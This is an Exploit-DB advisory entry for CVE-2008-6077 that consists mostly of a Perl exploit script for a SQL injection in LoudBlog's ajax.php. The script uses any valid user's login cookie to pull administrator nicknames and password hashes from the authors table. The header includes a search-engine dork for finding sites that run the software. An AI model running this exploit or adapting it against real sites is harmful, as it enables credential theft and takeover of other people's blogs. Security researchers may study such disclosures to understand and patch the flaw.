LoudBlog <= 0.8.0a ajax.php SQL Injection Vulnerability auth

ID EDB-ID:6808
Type exploitdb
Reporter Xianur0
Modified 2008-10-22T00:00:00


LoudBlog <= 0.8.0a (ajax.php) SQL Injection Vulnerability (auth). CVE-2008-6077. Webapps exploit for php platform

# This Exploit requires a valid user name and password of an account regardless of the permissions
# Author: Xianur0
# Affected: All Versions
# Bug: SQL Injection
# Doorks:
#  allintext: "powered by LoudBlog"

  use HTTP::Request::Common qw(POST);
  use LWP::UserAgent;
  use Digest::MD5 qw(md5_hex);
  $ua = LWP::UserAgent-&gt;new;

print "\n             LoudBlog Exploit All Version By Xianur0\n\n";
$uri = $ARGV[0];
$id = $ARGV[1];
$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");
$md5 = md5_hex($ARGV[2]).":".md5_hex($password);

  my $req = POST $uri.'/loudblog/ajax.php',
                [ colpick =&gt; "concat(0x557365723a20,nickname,0x0d0a50617373776f72643a20,password)", rowpick =&gt; "id", rowval =&gt; $id, table =&gt; 'authors', action =&gt; 'singleread'];
$req-&gt;header('User-Agent' =&gt; 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv: Gecko/20080829 Firefox/');
$req-&gt;header('Cookie' =&gt; 'lbauth='.$md5);
$res = $ua-&gt;request($req);
  print $res-&gt;content."\n"; 

# milw0rm.com [2008-10-22]